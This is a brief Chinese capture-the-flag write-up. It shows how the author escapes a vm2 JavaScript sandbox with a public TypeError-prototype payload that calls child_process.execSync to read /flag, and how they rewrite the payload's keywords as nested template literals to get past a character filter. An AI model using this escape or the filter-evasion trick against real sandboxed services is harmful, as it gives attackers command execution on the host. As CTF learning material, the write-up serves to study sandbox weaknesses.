
真的是php?
不懂
看到wp中大佬说是vm沙盒,先照着做吧
当code为空时
<?php if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) { $code = $_GET['code']; echo eval(code); } else { highlight_file(__FILE__); } ?>
|
所以是一个获取键什么的
这里尝试一下

发现一长串报错
error.stack可以简单解释为用alert()弹出console.log()的一样的异常堆栈信息
在github上可以找到破坏沙盒的方法
"use strict"; const {VM} = require('vm2'); const untrusted = '(' + function(){ TypeError.prototype.get_process = f=>f.constructor("return process")(); try{ Object.preventExtensions(Buffer.from("")).a = 1; }catch(e){ return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString(); } }+')()'; try{ console.log(new VM().run(untrusted)); }catch(x){ console.log(x); }
|
其中选用
(function(){ TypeError.prototype.get_process = f=>f.constructor("return process")(); try{ Object.preventExtensions(Buffer.from("")).a = 1; }catch(e){ return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString(); })()
|
但是我们可以发现其中有些字符被过滤,所以,我们通过重写替换
(function (){ TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)(); try{ Object.preventExtensions(Buffer.from(``)).a = 1; }catch(e){ return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString(); } })()
|
prototyp => [${${prototyp}e}]
get_process => [${${get_proces}s}]
require => [${${requir}e}]
child_process => ${${child_proces}s}
execSync => [${${exe}cSync}]

得到flag